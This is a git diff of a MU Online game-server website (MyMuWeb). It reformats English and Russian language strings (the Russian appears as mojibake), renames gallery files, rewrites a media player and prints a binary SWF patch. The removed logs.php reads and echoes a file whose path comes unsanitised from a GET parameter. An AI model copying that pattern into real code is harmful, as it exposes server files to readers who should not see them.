Your Password Is:"); +define('mmw_lang_profile_edited', "Profile SuccessFully Edited!"); +define('mmw_lang_move_need', "To Move Need"); +define('mmw_lang_character_moved', "Character SuccessFully Moved!"); +define('mmw_lang_zen_must_be_number', "Zen must be a positive number!"); +define('mmw_lang_zen_cant_move', "Zen Can't Move, because From = To!"); +define('mmw_lang_not_Zen_to_move', "Not Enough Zen, To Move!"); +define('mmw_lang_zen_more_max', "Zen is superfluous, it's more:"); +define('mmw_lang_zen_moved', "Zen SuccessFully Moved!"); +define('mmw_lang_cant_sent_comment_need_wait', "You have sent the comment, please wait:"); +define('mmw_lang_comment_sent', "Comment SuccessFully Sent!"); +define('mmw_lang_comment_deleted', "Comment SuccessFully Deleted!"); +define('mmw_lang_cant_or_alread_delete', "You Can't Edit, or is already delete!"); +define('mmw_lang_topic_status', "Topic Status SuccessFully Changed!"); +define('mmw_lang_topic_sent', "Topic SuccessFully sent!"); +define('mmw_lang_topic_deleted', "Topic SuccessFully Deleted!"); +define('mmw_lang_request_sent', "Request SuccessFully Sent!"); +define('mmw_lang_item_not_find', "Item Not Find, or is already delete!"); +define('mmw_lang_no_zen_to_sell_item', "Not Enough Zen in ExtraWareHouse, To Sell Item!"); +define('mmw_lang_item_sold', "Item SuccessFully Sold!"); +define('mmw_lang_no_zen_to_buy_item', "Not Enough Zen in ExtraWareHouse, To Buy Item!"); +define('mmw_lang_purchased_item_after', "You Purchased Item After:"); +define('mmw_lang_not_your_item', "This is not Your Item!"); +define('mmw_lang_take_away_item_from_market', "You take away item from Market!"); +define('mmw_lang_subject_max_length', "The subject is too long, 50 characters max."); +define('mmw_lang_message_sent', "Message SuccessFully Sent To:"); +define('mmw_lang_message_deleted', "Message SuccessFully Deleted!"); +define('mmw_lang_minimum_zen_can_send', "Minimum Zen Can Send! You Have:"); +define('mmw_lang_no_zen_for_send_zen', "Can't Send Zen, you haven't zen for Service:"); +define('mmw_lang_zen_sent', "Zen To Character SuccessFully Sent!"); +define('mmw_lang_change_class_need', "To Change Class Need"); +define('mmw_lang_character_changed', "Character Class SuccessFully Changed"); diff --git a/lang/Russian.php b/lang/Russian.php index f0cb67a..0eff25c 100644 --- a/lang/Russian.php +++ b/lang/Russian.php @@ -1,407 +1,409 @@ -в наÑтоÑщее времÑ:"); -define('mmw_lang_max_point',"ПерÑонаж имеет макÑимальные Пойнты!"); -define('mmw_lang_character_stats_added',"Пойнты перÑонажа уÑпешно раÑпределены!
ОÑталоÑÑŒ:"); -define('mmw_lang_is_not_killer',"Ðе убийца!"); -define('mmw_lang_clean_pk_need',"Ð”Ð»Ñ Ð¾Ñ‡Ð¸Ñтки нужно"); -define('mmw_lang_character_cleared',"УбийÑтва перÑонажа уÑпешно очищены!"); -define('mmw_lang_invalid_current_password',"Ðеверный текущий пароль (4-10, можно указывать только Ñимволы A-z,0-9)"); -define('mmw_lang_invalid_new_password',"Ðеверный Ðовый Пароль (4-10, можно указывать только Ñимволы A-z,0-9)"); -define('mmw_lang_old_and_new_password',"Текущий пароль и новый пароль одинаковы!"); -define('mmw_lang_password_changed',"Пароль уÑпешно изменён!"); -define('mmw_lang_question_or_answer_incorrect',"Секретный Ð²Ð¾Ð¿Ñ€Ð¾Ñ Ð¸Ð»Ð¸ Ñекретный ответ неверный!"); -define('mmw_lang_your_password',"ВоÑÑтановление прошло уÑпешно
Ваш пароль:"); -define('mmw_lang_profile_edited',"Профиль уÑпешно изменён!"); -define('mmw_lang_move_need',"Ð”Ð»Ñ Ð¿ÐµÑ€ÐµÐ¼ÐµÑ‰ÐµÐ½Ð¸Ñ Ð½ÑƒÐ¶Ð½Ð¾"); -define('mmw_lang_character_moved',"ПерÑонаж уÑпешно перемещён!"); -define('mmw_lang_zen_must_be_number',"Поле Zen должно быть положительным чиÑлом!"); -define('mmw_lang_zen_cant_move',"Zen не перемеÑтить, потому что откуда = куда!"); -define('mmw_lang_not_Zen_to_move',"ÐедоÑтаточно Zen Ð´Ð»Ñ Ð¿ÐµÑ€ÐµÐ¼ÐµÑ‰ÐµÐ½Ð¸Ñ!"); -define('mmw_lang_zen_more_max',"Zen больше чем:"); -define('mmw_lang_zen_moved',"Zen уÑпешно перемещён!"); -define('mmw_lang_cant_sent_comment_need_wait',"Ð’Ñ‹ уже отправлÑли ÑообщениÑ, подождите:"); -define('mmw_lang_comment_sent',"Комментарий уÑпешно отправлен!"); -define('mmw_lang_comment_deleted',"Комментарий уÑпешно удалён!"); -define('mmw_lang_cant_or_alread_delete',"Ð’Ñ‹ не можите редактировать или уже удалено!"); -define('mmw_lang_topic_status',"Ð¡Ñ‚Ð°Ñ‚ÑƒÑ Ñ‚ÐµÐ¼Ñ‹ уÑпешно изменён!"); -define('mmw_lang_topic_sent',"Тема уÑпешно отправлена!"); -define('mmw_lang_topic_deleted',"Тема уÑпешно удалена!"); -define('mmw_lang_request_sent',"Ð—Ð°Ð¿Ñ€Ð¾Ñ ÑƒÑпешно поÑлан!"); -define('mmw_lang_item_not_find',"Вещь не найдена или уже удалена!"); -define('mmw_lang_no_zen_to_sell_item',"Ðе доÑтаточно Zen в заначке Ð´Ð»Ñ Ð¿Ñ€Ð¾Ð´Ð°Ð¶Ð¸ вещей!"); -define('mmw_lang_item_sold',"Вещь уÑпешно продана!"); -define('mmw_lang_no_zen_to_buy_item',"ÐедоÑтаточно Zen в заначке Ð´Ð»Ñ Ð¿Ð¾ÐºÑƒÐ¿ÐºÐ¸ вещей!"); -define('mmw_lang_purchased_item_after',"Ð’Ñ‹ приобрели вещь за:"); -define('mmw_lang_not_your_item',"Это не ваша вещь!"); -define('mmw_lang_take_away_item_from_market',"Ð’Ñ‹ забрали вещь из рынка!"); -define('mmw_lang_message_sent',"Ð¡Ð¾Ð¾Ð±Ñ‰ÐµÐ½Ð¸Ñ ÑƒÑпешно поÑлано:"); -define('mmw_lang_message_deleted',"Сообщение уÑпешно удалено!"); -define('mmw_lang_minimum_zen_can_send',"Минимум Zen можно поÑлать:"); -define('mmw_lang_no_zen_for_send_zen',"Ðевозможно поÑлать Zen, у Ð²Ð°Ñ Ð½ÐµÐ´Ð¾Ñтаточно Zen Ð´Ð»Ñ Ð¾Ð¿Ð»Ð°Ñ‚Ñ‹ ÑтоимоÑти уÑлуги:"); -define('mmw_lang_zen_sent',"Zen перÑонажу уÑпешно поÑлан!"); -define('mmw_lang_change_class_need',"Ð”Ð»Ñ Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ñ ÐºÐ»Ð°ÑÑа нужно"); -define('mmw_lang_character_changed',"ПерÑонажа клаÑÑ ÑƒÑпешно изменён!"); -?> \ No newline at end of file +define('mmw_lang_left_blank', "Ðекоторые Ð¿Ð¾Ð»Ñ Ð±Ñ‹Ð»Ð¸ не заполнены!"); +define('mmw_lang_invalid_account', "Ðеверное Ð¸Ð¼Ñ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñ (4-10 можно указывать только Ñимволы A-z,0-9)"); +define('mmw_lang_invalid_email', "Ðеверный e-mail (пример: sombody@yahoo.com, макÑ:50)"); +define('mmw_lang_invalid_password', "Ðеверный Пароль (4-10 можно указывать только Ñимволы A-z,0-9)"); +define('mmw_lang_invalid_repassword', "Пароли не ÑоответÑтвуют"); +define('mmw_lang_invalid_question', "Ðеверный Ñекретный Ð²Ð¾Ð¿Ñ€Ð¾Ñ (4-10 можно указывать только Ñимволы A-z,0-9, БЕЗ ПРОБЕЛÐ)"); +define('mmw_lang_invalid_answer', "Ðеверный Ñекретный ответ (4-10 можно указывать только Ñимволы A-z,0-9, БЕЗ ПРОБЕЛÐ)"); +define('mmw_lang_invalid_fullname', "Ðеверное Ð¸Ð¼Ñ (2-10 можно указывать только Ñимволы A-z,0-9)"); +define('mmw_lang_correctly_code', "ПожалуйÑта, напишите проверочный код корректно!"); +define('mmw_lang_account_in_use', "Такой пользователь уже еÑть, выберите другой!"); +define('mmw_lang_email_in_use', "Такой e-mail уже еÑть, выберите другой!"); +define('mmw_lang_invalid_country', "ПожалуйÑта, выберите Ñтрану корректно!"); +define('mmw_lang_max_acc_one_ip', "Ðа ваш IP address уже зарегиÑтрировано {NUMBER} пользователÑ(ей)"); +define('mmw_lang_account_created', "Пользователь уÑпешно Ñоздан!"); +define('mmw_lang_character_does_not_exist', "ПерÑонаж не ÑущеÑтвует!"); +define('mmw_lang_for_reset_need', "Ð”Ð»Ñ Ñ€ÐµÑета нужно"); +define('mmw_lang_reset_limit_to', "РеÑет лимит до"); +define('mmw_lang_take_off_set', "Ð’Ñ‹ забыли ÑнÑть set вещи Ñ Ð¿ÐµÑ€Ñонажа"); +define('mmw_lang_character_reseted', "РеÑет перÑонажа Ñделан уÑпешно!"); +define('mmw_lang_point_must_be_number', "Поинты должны быть положительным цифрами!"); +define('mmw_lang_dont_have_point', "ПерÑонаж не имеет Ñтолько пойнтов
в наÑтоÑщее времÑ:"); +define('mmw_lang_max_point', "ПерÑонаж имеет макÑимальные Пойнты!"); +define('mmw_lang_character_stats_added', "Пойнты перÑонажа уÑпешно раÑпределены!
ОÑталоÑÑŒ:"); +define('mmw_lang_is_not_killer', "Ðе убийца!"); +define('mmw_lang_clear_pk_need', "Ð”Ð»Ñ Ð¾Ñ‡Ð¸Ñтки нужно"); +define('mmw_lang_character_cleared', "УбийÑтва перÑонажа уÑпешно очищены!"); +define('mmw_lang_invalid_current_password', "Ðеверный текущий пароль (4-10, можно указывать только Ñимволы A-z,0-9)"); +define('mmw_lang_invalid_new_password', "Ðеверный Ðовый Пароль (4-10, можно указывать только Ñимволы A-z,0-9)"); +define('mmw_lang_old_and_new_password', "Текущий пароль и новый пароль одинаковы!"); +define('mmw_lang_password_changed', "Пароль уÑпешно изменён!"); +define('mmw_lang_question_or_answer_incorrect', "Секретный Ð²Ð¾Ð¿Ñ€Ð¾Ñ Ð¸Ð»Ð¸ Ñекретный ответ неверный!"); +define('mmw_lang_your_password', "ВоÑÑтановление прошло уÑпешно
Ваш пароль:"); +define('mmw_lang_profile_edited', "Профиль уÑпешно изменён!"); +define('mmw_lang_move_need', "Ð”Ð»Ñ Ð¿ÐµÑ€ÐµÐ¼ÐµÑ‰ÐµÐ½Ð¸Ñ Ð½ÑƒÐ¶Ð½Ð¾"); +define('mmw_lang_character_moved', "ПерÑонаж уÑпешно перемещён!"); +define('mmw_lang_zen_must_be_number', "Поле Zen должно быть положительным чиÑлом!"); +define('mmw_lang_zen_cant_move', "Zen не перемеÑтить, потому что откуда = куда!"); +define('mmw_lang_not_Zen_to_move', "ÐедоÑтаточно Zen Ð´Ð»Ñ Ð¿ÐµÑ€ÐµÐ¼ÐµÑ‰ÐµÐ½Ð¸Ñ!"); +define('mmw_lang_zen_more_max', "Zen больше чем:"); +define('mmw_lang_zen_moved', "Zen уÑпешно перемещён!"); +define('mmw_lang_cant_sent_comment_need_wait', "Ð’Ñ‹ уже отправлÑли ÑообщениÑ, подождите:"); +define('mmw_lang_comment_sent', "Комментарий уÑпешно отправлен!"); +define('mmw_lang_comment_deleted', "Комментарий уÑпешно удалён!"); +define('mmw_lang_cant_or_alread_delete', "Ð’Ñ‹ не можите редактировать или уже удалено!"); +define('mmw_lang_topic_status', "Ð¡Ñ‚Ð°Ñ‚ÑƒÑ Ñ‚ÐµÐ¼Ñ‹ уÑпешно изменён!"); +define('mmw_lang_topic_sent', "Тема уÑпешно отправлена!"); +define('mmw_lang_topic_deleted', "Тема уÑпешно удалена!"); +define('mmw_lang_request_sent', "Ð—Ð°Ð¿Ñ€Ð¾Ñ ÑƒÑпешно поÑлан!"); +define('mmw_lang_item_not_find', "Вещь не найдена или уже удалена!"); +define('mmw_lang_no_zen_to_sell_item', "Ðе доÑтаточно Zen в заначке Ð´Ð»Ñ Ð¿Ñ€Ð¾Ð´Ð°Ð¶Ð¸ вещей!"); +define('mmw_lang_item_sold', "Вещь уÑпешно продана!"); +define('mmw_lang_no_zen_to_buy_item', "ÐедоÑтаточно Zen в заначке Ð´Ð»Ñ Ð¿Ð¾ÐºÑƒÐ¿ÐºÐ¸ вещей!"); +define('mmw_lang_purchased_item_after', "Ð’Ñ‹ приобрели вещь за:"); +define('mmw_lang_not_your_item', "Это не ваша вещь!"); +define('mmw_lang_take_away_item_from_market', "Ð’Ñ‹ забрали вещь из рынка!"); +define('mmw_lang_subject_max_length', "Заголовок Ñлишком длинный, макÑимум 50 Ñим."); +define('mmw_lang_message_sent', "Ð¡Ð¾Ð¾Ð±Ñ‰ÐµÐ½Ð¸Ñ ÑƒÑпешно поÑлано:"); +define('mmw_lang_message_deleted', "Сообщение уÑпешно удалено!"); +define('mmw_lang_minimum_zen_can_send', "Минимум Zen можно поÑлать:"); +define('mmw_lang_no_zen_for_send_zen', "Ðевозможно поÑлать Zen, у Ð²Ð°Ñ Ð½ÐµÐ´Ð¾Ñтаточно Zen Ð´Ð»Ñ Ð¾Ð¿Ð»Ð°Ñ‚Ñ‹ ÑтоимоÑти уÑлуги:"); +define('mmw_lang_zen_sent', "Zen перÑонажу уÑпешно поÑлан!"); +define('mmw_lang_change_class_need', "Ð”Ð»Ñ Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ñ ÐºÐ»Ð°ÑÑа нужно"); +define('mmw_lang_character_changed', "ПерÑонажа клаÑÑ ÑƒÑпешно изменён!"); diff --git a/logs.php b/logs.php deleted file mode 100644 index aaa42ad..0000000 --- a/logs.php +++ /dev/null @@ -1,28 +0,0 @@ - - - - MMW Admin Logs - - - -
-/!\ Access Denied!");}
-
-if(is_file("logs/$_GET[log].php")){
- $logfile="logs/$_GET[log].php";
- echo implode('', file($logfile));
-}
-else{
- echo "/!\ None!";
-}
-?>
-
- - \ No newline at end of file diff --git a/gallery/wallpaper-1.jpg b/media/gallery/wallpaper-1.jpg similarity index 100% rename from gallery/wallpaper-1.jpg rename to media/gallery/wallpaper-1.jpg diff --git a/gallery/wallpaper-1.dat b/media/gallery/wallpaper-1.php similarity index 88% rename from gallery/wallpaper-1.dat rename to media/gallery/wallpaper-1.php index 44e83ec..3991146 100644 --- a/gallery/wallpaper-1.dat +++ b/media/gallery/wallpaper-1.php @@ -1,4 +1,4 @@ - \ No newline at end of file +$size = '465222'; \ No newline at end of file diff --git a/gallery/wallpaper-2.jpg b/media/gallery/wallpaper-2.jpg similarity index 100% rename from gallery/wallpaper-2.jpg rename to media/gallery/wallpaper-2.jpg diff --git a/gallery/wallpaper-2.dat b/media/gallery/wallpaper-2.php similarity index 88% rename from gallery/wallpaper-2.dat rename to media/gallery/wallpaper-2.php index b248ecb..41e9761 100644 --- a/gallery/wallpaper-2.dat +++ b/media/gallery/wallpaper-2.php @@ -1,4 +1,4 @@ - \ No newline at end of file +$size = '178618'; \ No newline at end of file diff --git a/gallery/wallpaper-3.jpg b/media/gallery/wallpaper-3.jpg similarity index 100% rename from gallery/wallpaper-3.jpg rename to media/gallery/wallpaper-3.jpg diff --git a/gallery/wallpaper-3.dat b/media/gallery/wallpaper-3.php similarity index 88% rename from gallery/wallpaper-3.dat rename to media/gallery/wallpaper-3.php index b557fb9..3ab91a5 100644 --- a/gallery/wallpaper-3.dat +++ b/media/gallery/wallpaper-3.php @@ -1,4 +1,4 @@ - \ No newline at end of file +$size = '320425'; \ No newline at end of file diff --git a/media/index.php b/media/index.php deleted file mode 100644 index 3ce51be..0000000 --- a/media/index.php +++ /dev/null @@ -1,42 +0,0 @@ - - -Info About File - -
- -
- -
- - - - - - -
- - - -
-By Vaflan for MyMuWeb. - -
- - \ No newline at end of file diff --git a/media/player.php b/media/player.php index fcfda48..4ffb434 100644 --- a/media/player.php +++ b/media/player.php @@ -1,40 +1,44 @@ -\n $dir$file\n $num. $file\n MyMuWeb\n MuOnline MMORPG Music by Vaflan\n ".$dir."?f=$file\n \n"; - $folder_list = $folder_list . $track[$num]; - } - } - closedir($dh); +$playlist = array(); +if ($dh = opendir(MMW_MEDIA_DIR)) { + $number = 1; + while (($file = readdir($dh)) !== false) { + if (substr($file, -3) !== 'mp3') { + continue; + } + $playlist[] = MMW_MEDIA_DIR . $file; + } + closedir($dh); } - -// Creat Data for XML -$data = "\n\n MuOnline MMORPG Music by Vaflan\n MyMuWeb By Vaflan\n http://mmw.clan.su\n \n\n"; -$data = $data . $track[rand(1,$num)] . $folder_list; -$data = $data . "\n\n \n"; - -// Writh to XML -$fd = fopen($dir.$xml, "w"); -fwrite($fd, $data); -fclose($fd); - -echo $rowbr; ?> - -
- -
\ No newline at end of file + \ No newline at end of file diff --git a/media/player.swf b/media/player.swf deleted file mode 100644 index a063c48e9830e31e0bef0323d2377629af9b9866..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 50498 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 